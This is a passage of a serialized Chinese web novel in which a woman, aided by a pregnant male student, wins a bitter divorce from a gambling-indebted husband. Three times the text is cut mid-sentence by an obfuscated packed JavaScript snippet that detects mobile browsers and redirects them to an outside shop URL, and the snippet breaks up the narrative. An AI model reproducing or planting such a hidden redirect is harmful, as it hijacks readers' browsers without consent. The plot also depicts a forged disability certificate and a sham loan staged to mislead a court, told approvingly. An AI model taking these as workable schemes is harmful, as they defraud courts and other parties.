202X年6月起,周琚多次从该卡中取款,沈蕙询问时他表示全部用于家庭开支。
202X年8月,沈蕙所在公司提供了一个外派机会,周琚极力劝说她接受,沈蕙于9月赴南美工作。
202X年10月,周琚与沈蕙父母因房产问题发生激烈冲突,沈蕙父母被迫出国生活。
202X年1月,沈蕙结束外派返回国内,发现工资卡内余额已不足两万元,询问周琚时他拒绝说明资金去向。
202X年2月,沈蕙提出协议离婚,周琚拒绝。
林知榆缓缓抬起头,看着沈蕙。
沈蕙靠在车门上,没有看他,而是望着对面那栋楼。楼上有一户人家正在做饭,抽油烟机嗡嗡作响。
“那辆车,公司配的。”她说,“是要是我自己的车,早就卖了。”
林知榆没有说话。
“之前我开过顺风车,想赚点儿饭钱,”沈蕙继续说,声音很平静,“后来被周琚举报了,说我是公车私用,账号被封了。”
她顿了顿:“实在没钱吃饭了,没办法。同事给我推荐了一个婚恋网站,注册当托,见一个人给三十块钱,一周结一次账。我就去了。”
林知榆看着她,眼神复杂。
“一周要见十个左右,”她说,“有时候更多。”
林知榆站在那儿,手还紧紧攥着那沓纸。夜风有点凉,把他额前的头发吹乱了。
“那你怎么不跟我说?”他终于问出口。
沈蕙终于转过头看着他,反问了一句:“说了你就会信吗?”
林知榆没有回答。肚子里的小东西踢了一下,他把手放上去,轻轻抚摸着。
沈蕙看见了,视线在他隆起的肚子上停留了一秒,然后移开。她把车门关上,绕过车头,走到他面前。
“上去吧,”她说,“外面凉。”
林知榆没有动。
“你是见每个人都这样吗?”他问,声音有些发紧,“请吃饭,帮忙剔骨头,说下次再见?”
沈蕙愣了一下。
然后她笑了一下,很短暂,很苦涩:“别人喝完咖啡就没有然后了。想蹭饭?美得他们,我可没钱。”
7
那套老旧房子其实没有想象中那么破旧不堪。
林知榆第二天早上醒来之后才真正看清这套房子的模样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297551|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。老式居民楼确实没有电梯,但屋里被打扫得干干净净、井井有条。地板是那种老式的瓷砖,擦得锃亮发光。窗户外面有一个小阳台,晾着两件刚洗过的衣服。楼下有一个小院子,装着铁门,沈蕙的车就停在里面。
“不用交钱,”沈蕙说,“老小区没人收停车费。”
她站在厨房里烧水,煤气灶是老式的,打火的时候需要拧着等一会儿才能点着。林知榆坐在客厅的沙发上——沙发确实也有些年头了,但垫子很软,坐着还挺舒服。
水烧开了之后,沈蕙端了一杯过来放在他面前:“昨晚睡得好吗?”
林知榆说:“还行。”
沈蕙点了点头,在他对面坐了下来。她穿着家居服,头发随便扎着,看起来比之前那几次见面的时候都要放松一些。
中午的时候沈蕙点了外卖。两荤两素,外加两份米饭,凑满减优惠凑了半天才凑够。付款的时候她盯着手机屏幕看了几秒,然后才用指纹支付了。
“花呗付的,”她说,“卡里已经没钱了。”
林知榆看着她。
沈蕙把手机放下,没有看他:“等过两天婚恋网站给我结账,就能还上了。”
林知榆把筷子放下,忽然问了一句:“我问你一件事。”
沈蕙抬起头看着他。
“措施都做了,”林知榆说,语气很平静,没有质问的意思,“为什么我还是怀上了?”
沈蕙愣住了。她看着林知榆,又低下头,看着面前的饭盒。过了好一会儿,她才开口,声音有些闷闷的:“那些安全套……”
她顿了顿:“是我在网上买的。临期处理的,打折,三盒一起买能便宜一半。”
林知榆没有说话。
“我没想过会……”她说,又停住了,咬了咬嘴唇,“我以为保质期也就只是个数字而已。”
林知榆盯着她看了一会儿,然后重新拿起筷子,继续低头吃饭。
沈蕙坐在那儿,一动不动。
“对不起。”她终于说。
林知榆没有抬头,夹了一筷子菜,淡淡地说:“吃饭吧,凉了就不好吃了。”
下午的时候沈蕙坐在阳台上打电话。林知榆在屋里隐约听到几个词:中介、挂牌、看看行情。她挂了电话进来之后,林知榆问了一句:“你要卖房子?”
沈蕙靠在门框上,看着他。
“这套房子能卖个一百来万吧,”她说,“回头换个面积小点的,剩下的钱你生孩子应该够用了。”
林知榆愣了一下:“不用这样的。”
沈蕙看着他,没有说话。
“你不用卖房子,”林知榆说,“这孩子我自己会想办法的。”
沈蕙没有接话。她走到沙发旁边坐下来,离他近了一些。
“我给你算一笔账,”她说,语气认真,“你现在住在这里,吃饭一天三顿,就算都点外卖,一个月至少三千块钱。产检要花钱,生孩子的时候打无痛要花钱,住院也需要花钱。生完孩子之后你要坐月子吧,月子中心要大几万——”
“等等,”林知榆打断了她的话,“谁说要去月子中心了?”
沈蕙看着他。
“我就住在这儿,”林知榆说,语气平静而笃定,“自己做饭就行。”
沈蕙张了张嘴,却不知道该说什么。
林知榆继续往下说:“产检可以刷医保卡,手术费用也能报销一部分,无痛可能报不了,但那个也就两千多块,我自己还是有的。住院也能报销,出院之后剩下的回家慢慢养。”
他顿了顿,像是在心里默默计算着什么:“外卖太贵了,以后我自己做饭。一个月菜钱两个人一千五应该绰绰有余。你做午饭的时候也可以从家里带,不用再在外面买了。”
沈蕙看着他,表情有些发愣。
“我仔细算过了,”林知榆说,“养孩子再加上两个人的基本生活开销,一个月两千块钱应该够了。”
沈蕙没有说话。
她就那么坐在那儿,眼睛看着林知榆,但眼神又好像没有聚焦在他身上。过了好一会儿,她才终于开口,声音有些飘忽:“两千?”
“差不多吧。”
沈蕙再次沉默了。
她脑子里忽然闪过很多画面。周琚上个月说老大幼儿园要涨价,八千块;老二托班五千五;加上他自己吃饭、买东西,一个月怎么也要两三万。她说要离婚的时候周琚说抚养费一个月两万,不然免谈。
这些话她终究没有说出口。
她就那么看着林知榆,他坐在那儿,手放在肚子上,表情认真而专注,像是在跟她讨论一个普普通通的数学题。
“你以前……”她开口,又停住了。
林知榆看着她,等着下文。
“没什么。”沈蕙摇了摇头。
她站起身来,走到窗边,背对着他。外面天色阴沉沉的,楼下院子里的车落了一层灰,灰扑扑的。
“我可以找个活儿干,”林知榆在后面说,“远程的那种,或者生产之前能干几个月的也行。”
沈蕙转过身来看着他。
“不用,”她说,“你好好养着身体就行。”
“那钱的事情——”
“我可以接个私活儿,”沈蕙打断了他,“之前有猎头联系过我,外包的活儿,一单就能顶好几个月的生活费。”
她说着走回沙发旁边,重新坐下来。看着林知榆,忽然笑了一下,很轻很淡。
“两千块钱一个月,”她说,“我还以为是自己听错了。”
林知榆看着她,不太明白她为什么会是这个反应。
沈蕙没有解释什么。她拿过手机,翻出那个猎头的对话框,开始认真地打字回复。林知榆坐在旁边,静静地看着她打字。肚子里的小东西轻轻踢了一下,他把手放上去,过了一会儿又踢了一下。
4. 男大学生被三之后(4)
8
同居半个月,沈蕙胖了两斤。
饭菜都是林知榆做的。他挺着五个月的肚子站在狭小的厨房里,炒菜、炖汤、蒸鱼,动作虽然不快,但很有条理。沈蕙一开始想帮忙,被他赶出去两次之后就再也不进去了,只是坐在客厅里对着电脑敲代码。
她已经把婚恋网站的托辞掉了。
“一天见三个人也挣不到一百块钱,”她说,“平台报销的咖啡店就那么几家,早就蹭腻了。”
现在她接了一个外包项目,给一家小公司写脚本做数据分析。林知榆每天给她做午饭,用保温盒装着,三菜一汤,比她之前吃的三十块一份的外卖强太多了。
有一天晚上,沈蕙从电脑前抬起头来,正好看见林知榆在阳台上收衣服。五楼的风把晾着的衣服吹得晃来晃去,他去够一件衬衫,隆起的肚子顶着晾衣杆,够了好几下才勉强够到。
她忽然觉得这一幕有些不太真实,下意识喊了一声:“林知榆。”
他回过头来。
“没什么。”她又不知道该说什么了。
林知榆把衣服收进来,一件一件叠好,放在她床头。然后坐回沙发上,把手放在肚子上。
“你那官司,”他问,“现在怎么样了?”
沈蕙愣了一下。她把电脑合上,靠在椅背上:“第一次开庭已经开完了。”
“然后呢?”
沈蕙沉默了一会儿。
“财产分割没谈拢,”她说,声音有些疲惫,“周琚说那些钱都是家庭正常开支,我拿不出证据证明那是赌债。”
林知榆没有说话。
“还有孩子的抚养权。”沈蕙继续说,“他要两个都要,说我要离婚就净身出户,不然就拖着不离。”
“你能争取到吗?”
沈蕙缓缓摇了摇头。
“老大四岁,老二两岁,”她说,“他现在肚子里还怀着老三,法官会怎么判?孩子这么小,跟着父亲好几年了,我一直在外面工作,能证明什么?”
她顿了顿:“就算判下来了,我也得给抚养费。三个孩子,一个月怎么也得一万五往上。”
林知榆在心里默默算了算:“一万五?”
沈蕙看着他,苦笑了一下:“你以为呢?老大幼儿园八千,老二托班五千五,老三生下来也是这个数。再加上吃饭、衣服、玩具、偶尔去个游乐场,一万五都算少的了。”
林知榆沉默了。手放在肚子上,里面的小东西在动,他安抚地护着,就让它在那儿轻轻踢:“那你还离婚吗?”
沈蕙叹了口气:“得离。就他那个欠债数额的增量,我再不跑,早晚得去卖腰子。”
林知榆看着她。
“现在的问题不是离不离,而是怎么离。”沈蕙说,“孩子争不到,财产就分不到,还得背债。”
她站起身来,走到窗边。外面已经黑了,楼下院子里停着她的车,灰蒙蒙的一团。
“法院要是判我净身出户,”她说,“工资卡里那点钱早就被他取光了,新发的工资还得还债,我拿什么给抚养费?”
林知榆坐在沙发上,静静看着她的背影。
“你之前说,”他开口,“赌债他还欠八十多万,总数应该不止这些吧?”
沈蕙没有回头:“对,我爸妈帮忙还了三十多万。”
林知榆想了想:“你爸妈现在在国外。”
“嗯。”
“他们能出庭作证吗?”
沈蕙转过身来,看着他:“作证有什么用,证人是我亲爸妈,法院采信度本来就不高。他可以说那是家庭正常资金往来。”
林知榆不说话了。
沈蕙走回沙发旁边,重新坐下来。两个人挨着坐在一起,谁都没有说话。客厅里只有老式冰箱嗡嗡作响的声音。
“那你还得多久才能离成?”林知榆问。
沈蕙摇了摇头:“不知道。可能半年,可能一年。他拖着,我就只能等着。”
她把头靠在沙发背上,仰望着天花板。天花板上有一道细细的裂纹,从墙角一直延伸到吊灯旁边:“林知榆。”
“嗯。”
“我可能一分钱都拿不到。”
林知榆没有说话。
“你这孩子,”她说,“我可能什么都给不了。”
林知榆把手从肚子上拿开,伸过去,轻轻握住了她的手。她的手有些凉,指节纤细,指甲剪得很短。
“没让你给什么。”他说。
沈蕙转过头来看着他。
他也没有看她,就坐在那儿,手握着她的手,眼睛望着前方。肚子里的小东西在动,她把另一只手也放上去,能清晰感觉到里面在轻轻地踢。
9
沈蕙盯着天花板上的那道裂纹,忽然猛地坐直了身子。
林知榆转过头来看她。
“他那个孩子,”她说,眼睛亮了起来,“现在应该快七个月了吧。”
林知榆一时没反应过来。
“我外派是去年九月到今年一月,”她继续说,语速越来越快,“中间回来过两次,一次三天,一次两天。那几天……”
她顿了顿:“那几天我们也没怎么说话,一直是分房睡的。”
林知榆渐渐明白过来她想说什么。
“你算过时间吗?”他问。
沈蕙眯起眼:“怀上大概应该是去年十一月前后,我回来的那几天,只有一次,还是他主动——”
“他有什么动机呢,”她继续,像是在自言自语,“我身上已经榨不出钱了,工资卡空了,房子抵押了,我爸妈也走了。他再生一个婚内的孩子干什么?”
林知榆看着她:“除非——”
“除非不是婚内的。”沈蕙接了上去。
两个人同时沉默了,都在心里消化这个可能性。
“你是说,”林知榆终于开口,“他在外面有人?”
沈蕙没有回答。她站起身来,在客厅里来回走了两步,又停下来,站定。
“那孩子要是别人的,”她说,声音里带着一丝兴奋,“那他就不只是跟我离婚的问题了。”
“怎么说?”
“他婚内出轨,还跟别人有了孩子,”沈蕙分析道,“法官会认真考虑这个因素的。两个孩子的抚养权我不一定都能拿到,但至少能争一争。”
“还有财产——”沈蕙用指节敲了一下茶几,“那些赌债,如果他那些钱不是真的赌输了呢?”
林知榆愣了一下。
“八十多万,”沈蕙说,“他天天在家带孩子,有多少时间花在网络赌博上?要是那些钱其实是给了别人的——”
“那个孩子的妈。”
沈蕙点了点头。
两个人又沉默了一会儿。冰箱嗡嗡响着,窗外有猫叫了一声。
“你有证据吗?”林知榆问。
沈蕙摇了摇头:“我去年一年都在外地,他每天在干什么、见了什么人,我一点都不知道。”
她走到窗边,望着外面。楼下的院子里黑漆漆的,只有一盏路灯孤零零地亮着:“但是我可以查。”
林知榆看着她:“怎么查?”
沈蕙没有立刻回答。过了一会儿,她转过身来:“有个地方,专门做这个的。不太合法,但确实有用。”
林知榆懂了她的意思:“私家侦探?”
沈蕙点了点头:“我之前有个客户,离婚的时候用过,查到了她老公出轨的证据,财产保住了六七成。”
林知榆把手放在肚子上,里面又开始动了。
“那种人,”他说,“靠谱吗?”
“不知道,”沈蕙坦言,“但总比现在这样干等着强。”
她走回沙发旁边,重新坐下来,又拿起手机。翻了好一会儿,终于找到一个号码,存着没存过的,只有一串数字。
“当时那客户给我的,”她说,“说这个人查得特别细,就是要价比较高。”
“多少钱?”
“没问过。但能比一万五一个月的抚养费高吗?”
林知榆不说话了。
沈蕙盯着那串数字看了很久很久。手机屏幕暗了,她点一下,又亮起来;暗了,又点一下。
“林知榆。”
“嗯。”
“如果查出来是真的,”她说,声音有些轻,“孩子我能争取到,你愿意吗?”
林知榆看着她:“什么愿意不愿意的?”
沈蕙没有解释。她只是那样看着他,等着一个答案。
林知榆把手从肚子上拿开,伸过去,再次握住她的手。还是有点凉。
“你先查出来再说吧。”他说。
沈蕙看着那只握着自己的手,看了一会儿。然后把手机放下,靠在沙发背上。
“明天我就打这个电话。”她说。
10
第二天下午,沈蕙终于拨通了那个电话。
接电话的人声音很轻很轻,像是怕吵醒什么人。约的地方是一家偏僻的茶楼,在城西,门脸很小,进去需要穿过一条黑漆漆的走廊。沈蕙到的时候,靠里的卡座上已经坐了一个人。
是个女人,瘦瘦小小的,穿着一件灰扑扑的冲锋衣,头发扎得很低。她坐在那儿,眼睛看着面前的茶杯,沈蕙走过去她也没有抬头。
“沈女士?”
沈蕙坐了下来:“是我。”
对方这才缓缓抬起眼睛,看了她一眼。那双眼睛也很淡,像没睡醒一样:“你要查什么?”
沈蕙把准备好的材料推了过去。周琚的照片、车牌号、常去的地址、产检医院的名称。对方拿起来一张一张看,看得很慢很仔细,看完之后又全部放回去。
“可以查。”
“多少钱?”
“一天两千,保证有结果。出结果之后另外加钱。”
沈蕙点了点头。
对方把材料收起来,放进一个旧帆布袋里。站起身来,什么也没说就走了。从头到尾没有说过自己的名字,沈蕙也没有问。
三天之后,对方发来一条消息:明天他产检,我跟一下。
沈蕙没有回复。
中午的时候,沈蕙的手机响了。还是那个号码。
“沈女士,”对方的声音比之前更加轻,“这个事情我接不了了。”
沈蕙愣了一下:“怎么了?”
“你先生今天出车祸了。”
沈蕙握着手机,一时间说不出话来。
“我从医院跟他出来,他开车走的时候很急,左转的时候闯了个红灯,被直行的车撞了。人已经送医院了。”
“他情况怎么样?”
“骨折,没有生命危险。”
沈蕙沉默了几秒:“这跟你有关么?”
“跟我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297552|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有直接关系,”对方说,“但是他发现我了。”
“发现什么?”
“发现我在跟踪他。他出医院的时候看了我一眼,然后开得特别快。那个红灯他闯得很急,像是想甩掉谁。”
沈蕙没有说话。
“我干这行十几年了,”对方说,“接的都是经济纠纷、情感纠纷。这种出了人命的,我不能接。”
“出什么事了?车祸是他自己闯红灯——”
“沈女士,”对方打断了她,“那个孩子没了。”
沈蕙愣住了。
“我不知道是不是因为发现了我他才急的,”对方说,“但结果就是没了。这种事情沾了因果,我不能再碰了。”
电话那头沉默了一会儿:“你付的那六千块,我退给你。再加三千违约金,明天到你账上。”
“不是钱的问题——”
“我知道。但这件事,你还是找别人吧。”
电话挂断了。
沈蕙握着手机,站在客厅里一动不动。林知榆从厨房出来,看见她的脸色不对,连忙问:“怎么了?”
沈蕙慢慢把手机放下来:“周琚出车祸了。”
林知榆一愣。
“人没事,就是骨折了,”沈蕙说,“但孩子没了。”
林知榆的手放在肚子上,下意识地收紧了一下:“那个侦探说的?”
沈蕙点了点头。
“她说周琚发现她在跟踪了,”沈蕙说,“开车闯红灯想甩掉她,结果被车撞了。”
林知榆走过来,在她旁边坐下:“那她还继续查吗?”
沈蕙摇了摇头:“不查了,说这种事沾了因果,给再多钱也不干了。”
林知榆没有说话。他把手从肚子上拿开,轻轻握住沈蕙的手。她的手比之前更凉了。
11
很快,沈蕙接到交警的电话:“沈女士是吧?您先生周琚的事故处理完了,对方负主要责任,赔偿款需要您来签收一下。”
她愣了一下:“对方主责?”
“对,您先生虽然是右转闯红灯,但对方是酒驾加直行闯红灯,撞人的时候时速八十。按责任划分,赔偿您先生百分之七十。”
沈蕙沉默了两秒:“多少钱?”
“医疗费、误工费、营养费,再加上……”对方顿了顿,“加上胎儿引产的精神损害赔偿,一共四十二万。”
赔偿款直接打到了沈蕙的银行卡上。
周琚醒过来的时候,她就在病房里。
“赔偿款到了,”沈蕙说,“我帮你收着了。”
周琚尽力睁开眼看向她,没有说话。
“你好好养伤,”沈蕙继续说,语气少见地温和了,“医院这边我都安排好了,明天转私立医院,那边条件好一些。”
周琚终于开口:“……私立医院很贵的。”
“钱的事情你不用操心,”沈蕙说,“养伤要紧。”
私立医院的院长姓陈,是沈蕙的大学同学。两人在学生会在共过事,后来没什么联系,但沈蕙知道她这些年做的事情——私立医院、美容中心,还有几桩擦边的生意,圈里人都传她路子野。
沈蕙去她办公室那天,陈院长正在悠闲地喝茶。听完沈蕙的话,她把茶杯放下,笑了一下:“你要多少?”
“一百万。”
“用途?”
“给周琚治伤的幌子。”
陈院长看着她,没有说话。
沈蕙把准备好的材料推过去。周琚的诊断证明、事故认定书,还有一张已经写好的借条,借款人那一栏还空着。
“钱走医院的账,”沈蕙说,“借条我来签,利息按你们的规矩算。但是对外,这笔钱是给他治伤才借的。”
陈院长把材料拿起来,一张一张仔细看了一遍:“一百万可以,利息按年化十二算。”
都是常规操作了。沈蕙点了点头。
陈院长从抽屉里拿出一份空白合同,开始填写。填到一半的时候,她忽然抬起头来:“对了,他那个车祸的事,你要不要做个残疾鉴定?”
沈蕙愣了一下。
“骨折那个位置‘可能’伤到神经,导致以后走路会有点问题。”陈院长说,“你要是想办,我能帮你把证明开出来。”
沈蕙看着她:“合法的吗?”
陈院长笑了一下:“合法的还用得着我来做?”
一周之后,周琚的残疾证办下来了,证上盖着鲜红的印章,有编号,能在残联官网上查到。
沈蕙拿着那本证,站在病房门口看了一会儿。周琚在里面看电视,打着石膏的腿吊在床上,脸上看不出什么表情。她把证明收起来,推门进去,语气平常地问了一句:“今天感觉好点了吗?”
周琚转过头来,看着她:“好多了。”
沈蕙在他床边坐下,开始削苹果。削得很慢,果皮一圈一圈垂下来,始终没有断。
“法院那边下次开庭是什么时候?”周琚问。
“下个月。”
“律师怎么说?”
沈蕙没有抬头:“说我证据不足,赌债认定不了,孩子抚养权大概率判给你。”
周琚没有说话。
沈蕙把削好的苹果递给他。他接过去,咬了一口:“那你打算怎么办?”
沈蕙看着他,笑了一下:“还能怎么办?等着呗。”
5. 男大学生被三之后(5)
12
开庭那天是个阴天。
沈蕙起得很早,把准备好的材料又仔细翻了一遍。林知榆在厨房给她热牛奶,端过来的时候看见她坐在桌前,手边是一沓A4纸,边角已经有些卷起来了。
“紧张吗?”
沈蕙只是叹了口气。
林知榆把牛奶放在她手边,没有说话。他的手在她肩膀上轻轻停了一下,然后拿开。
法院门口,周琚被一个中年男人扶着下了车。他的腿还没好利索,走得很慢,手里拄着拐杖。看见沈蕙,他停下来,看了她一眼。沈蕙没有看他,径直走进了大门。
庭审开始了。
法官先核对了双方的身份。沈蕙的对面坐着周琚和他的律师,一个四十多岁的男人,戴着眼镜,看起来很精干的样子。
“原告,你提交的诉讼材料与之前相比有补充,请说明。”
沈蕙站起身来,把一沓材料递了上去。
“法官,我补充了一份婚内借款证明。202X年3月,因被告周琚发生交通事故住院,我为其转至私立医院治疗,以个人名义借款一百万元,用于支付医疗费用。该笔借款发生在婚内,属于夫妻共同债务,我要求在本案中一并处理。”
周琚的律师立刻举手表示反对:“反对。原告所称的借款,被告完全不知情,而且没有证据证明款项确实用于被告的治疗。原告单方面举债,不应认定为夫妻共同债务。”
沈蕙不慌不忙地回应:“我有医院缴费记录、转账凭证,以及借款合同。被告住院期间的所有医疗费用均由这笔借款支付,所有收据都齐全。”
法官翻看了一下材料,问周琚:“被告,你是否认可这笔费用确实发生了?”
周琚脸色铁青,声音有些激动:“她把我转到私立医院,根本没有跟我说要借钱!我以为用的是我们自己的钱——”
“被告,请回答你是否认可这笔医疗费用实际发生。”
周琚张了张嘴,说不出话来。他的律师连忙接话:“法官,医疗费用确实发生了,但是原告所称的借款是她的单方行为,被告当时处于术后恢复期,无法对借款事宜作出真实有效的意思表示。这笔钱不应认定为夫妻共同债务。”
法官点了点头,没有表态。
接下来是财产分割的部分。
沈蕙陈述道:“被告周琚在婚内多次大额借贷,目前仍有八十余万元未偿还。我怀疑其用于赌博,要求其说明具体资金去向。”
周琚的律师拿出银行流水反驳:“这些借贷均用于家庭日常开支,包括孩子学费、生活费、购物消费等。原告常年在外工作,对家庭开支情况不了解,误以为是赌债。”
沈蕙反驳:“被告没有正当职业,家庭开支主要由我的工资承担。他借贷的时间点集中在202X年下半年,完全不符合正常生活需要的规律。”
双方你来我往,争执不下。
然后到了孩子抚养权的问题。
周琚的律师拿出一沓材料,语气严肃:“法官,我这里有证据,证明原告在婚内出轨多人,与他人发生不正当关系。这是其中一名男子的照片、聊天记录以及其怀孕的B超单。原告道德品行有亏,根本不适合抚养孩子。”
法官接过材料,翻了翻。
沈蕙看了一眼那些材料。照片是林知榆的脸,聊天记录是她和林知榆的对话内容,B超单上清清楚楚写着林知榆的名字。
她深吸一口气,然后开口:“法官,这些证据根本不能证明我出轨。”
周琚的律师立刻反驳:“聊天记录中明确显示你与他约会多次,而且对方已经怀孕——”
“怀孕能证明什么?”沈蕙打断了他,“对方怀孕就能证明孩子是我的吗?法律上,亲子鉴定需要双方同意,或者有强制规定才能进行。这位林知榆先生,他与我没有法律上的任何关系,任何人都无权强制他做亲子鉴定。他的怀孕证明只能证明他本人怀孕,不能证明孩子是谁的。”
周琚的律师一时语塞。
沈蕙继续说:“至于那些聊天记录,该婚恋网站的账号普遍存在盗用他人照片的现象,任何人都可以用我的名义与人聊天。被告能拿出这些记录,恰恰说明他曾经非法获取他人信息。”
她从自己的材料里抽出一沓打印件:“法官,我这里也有一份证据。202X年3月,被告周琚在网络上公开发布原告及林知榆先生的个人信息,包括姓名、学校、照片、怀孕证明等,煽动网友对其进行网络暴力,导致林知榆收到大量人身威胁,被迫休学躲藏。这是网页截图、网暴言论汇总,以及林知榆的报警回执。”
周琚的律师脸色开始变了。
沈蕙把材料递了上去:“林知榆与我确实认识,但原因并非出轨。他在遭受网暴后无处可去,我只是出于基本的人道主义收留他。他与我同住期间,没有任何证据证明我们之间存在不正当关系。而被告周琚的行为,已经涉嫌侵犯公民个人信息罪,我要求法庭追究其责任。”
法官看了看那些材料,又看了看周琚。
周琚的律师连忙说:“法官,这些是网络上的言论,与被告无关——”
“帖子的发布IP地址,”沈蕙平静地打断他,“警方已经确认过,与被告家中宽带的IP地址完全一致。”
周琚的脸色彻底白了。
庭审暂时休庭十分钟。
再次开庭的时候,周琚的律师换了一个方向:“即便原告与林某的关系无法认定,但原告在婚内多次与他人约会,这一点从聊天记录中可以确认。聊天记录中,原告多次与不同对象见面,行为明显不检——”
沈蕙忽然笑了一下。
“我在当婚恋网站的托。”她说,“我需要赚钱。被告控制了家庭经济,我的工资卡被他取空,我只能接这种零工来糊口。法官,我可以提供婚恋网站的结算记录。那些约会对象,每个人我只见过一次,吃完一顿饭就再无联系。如果这也能算作出轨,那我出轨的对象得有上百个。”
周琚的律师无言以对。
法官看向周琚:“被告,你还有什么要说的?”
周琚沉默了好一会儿,然后终于开口。
“她借的那一百万,我根本不知道。她收取的那四十二万赔偿款,我醒来发现钱没了。她把我弄到私立医院,给我开了残疾证,就是为了抢孩子——”
“被告,”法官打断了他,“残疾证是医院依法开具的,你有异议可以申请重新鉴定。关于赔偿款,你说她转走,有证据吗?”
周琚张了张嘴。
他当时昏昏沉沉的,实际上隐约记得沈蕙好像征得了他的同意:“我……”
法官看向沈蕙。
沈蕙平静地说:“赔偿款我确实收取到了自己卡上,但这笔钱是用于支付被告的医疗费和后续康复治疗。我有全部支出记录。”
她指示了材料的具体位置。
周琚的律师翻看着那些材料,脸色越来越难看。
庭审结束的时候,法官宣布择期宣判。
走出法院大门的时候,天依然是阴沉沉的。周琚被人扶着往外走,经过沈蕙身边的时候,他停下来,盯着她看了几秒,终于说了一句:“你真行。”
沈蕙没有说话。
他又盯着她看了一会儿,然后被人扶着,一瘸一拐地走了。
沈蕙站在法院门口的台阶上,看着他的背影渐渐消失在人群里。风有点凉,她把外套裹紧了一些。
手机震动了一下。
林知榆发来的消息:怎么样了?
她看着那两个字,站了一会儿,然后打字回复:还没判,但应该差不多了。
发出去之后,她又补了一句:晚上想吃什么?
林知榆很快回复:你回来再说。路上小心。
沈蕙把手机揣进口袋,走下台阶。外面开始飘起细雨,细细的,落在脸上凉丝丝的。
13
判决书下来的那天是一个大晴天。
沈蕙站在法院门口拆开信封,站在那里看了很久很久。林知榆站在她旁边,手放在已经七个月的肚子上,没有催她,只是轻声问了一句:“怎么说的?”
沈蕙默默把判决书递给他。
林知榆低头仔细看了起来。
首先是准予原告沈蕙与被告周琚离婚。其次关于债务,原告的婚内借款一百万元,与被告的剩余婚内借款八十余万元,均认定为家庭生活开支,各自偿还。然后是财产,婚内车辆归被告所有,其余财产已无实际分割必要。最后是抚养权,长子随被告生活,次子随原告生活,双方互不支付抚养费。
林知榆抬起头来:“各还各的债?”
沈蕙点了点头。
“那一百万……”
“不用真还,”沈蕙说,声音很轻,“我同学那边是做账的,钱转了一圈又回来了。”
林知榆愣了一下,然后慢慢明白了其中的门道。他低头继续看判决书,看到最后一行的时候问了一句:“那辆车……”
“归他了,”沈蕙说,“但那辆车本来也是二手买的,还出了大事故,他要就给他吧。”
她把判决书仔细折好,放进口袋里。抬起头来,阳光有些晃眼,她眯着眼睛看了一会儿天空。
“工资卡终于拿回来了。”她说。
林知榆看着她:“里面还有钱吗?”
沈蕙笑了一下:“下个月发工资就有了。”
她说完往前走了两步,又忽然停下来。回过头来看着林知榆,伸出手:“走吧,带你去吃顿好的。”
他们去了那家第一次见面的餐厅。还是那个靠窗的位置,还是那个服务员。沈蕙点了大锅羊蝎子,什锦凉菜,还有一扎酸梅汤。点完之后她把菜单递给林知榆,林知榆又加了一个青菜。
“够了吗?”
“够了。”
等菜的时候,沈蕙靠在椅背上,望着窗外。外面车来车往,阳光透过玻璃晒得人有些发烫。她把手机拿出来,翻到银行App,盯着那个余额看了好一会儿。
“在想什么呢?”
“在想下个月的工资。”
林知榆笑了一下。他把手放在肚子上,里面的小东西在动,隔着衣服能看见一个小小的凸起轻轻滑过去:“你打算怎么花?”
沈蕙想了想。
“先给你订个月子中心吧。”
“不用——”
“用。”沈蕙打断了他,“我乐意花这个钱。”
林知榆看着她,没有再说话。
菜很快就上来了。沈蕙夹了一块脊骨放到他盘子里,又夹了一块,然后才开始吃自己的。吃到一半的时候她抬起头来,发现林知榆正在看着她。
“怎么了?”
“没什么。”
林知榆低下头继续吃饭。沈蕙看着他的头顶,看了一会儿,又低下头继续吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297553|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己的。
吃完饭从餐厅出来,他们在门口站了一会儿。沈蕙的车就停在路边,保时捷,深蓝色,还是原来那辆。她走到车旁边,拉开车门,忽然想起什么似的说了一句:“对了。”
林知榆看着她。
“周琚下个月就要走了。”
“走?”
“出国,带着老大。说是那边儿有人接应。”
林知榆愣了一下:“那些债呢?”
沈蕙摇了摇头:“不知道。可能不还了吧。”
她坐进车里,发动了引擎。林知榆上了副驾驶,把安全带系好。车子缓缓开出去,窗外的街景往后倒退。开到路口等红灯的时候,沈蕙忽然说了一句:“以后不用再算两千了。”
林知榆转头看着她。
沈蕙没有看他,只是看着前面的红灯。
“你想吃什么就吃什么,想去哪儿就去哪儿。”她说,“该花的钱就花。”
绿灯亮了。她把车开了出去。
林知榆把手放在肚子上,望着窗外。阳光暖暖地照进来,很舒服。肚子里的小东西轻轻踢了一下。
“行。”他说。
14
领证那天是一个普普通通的周四。
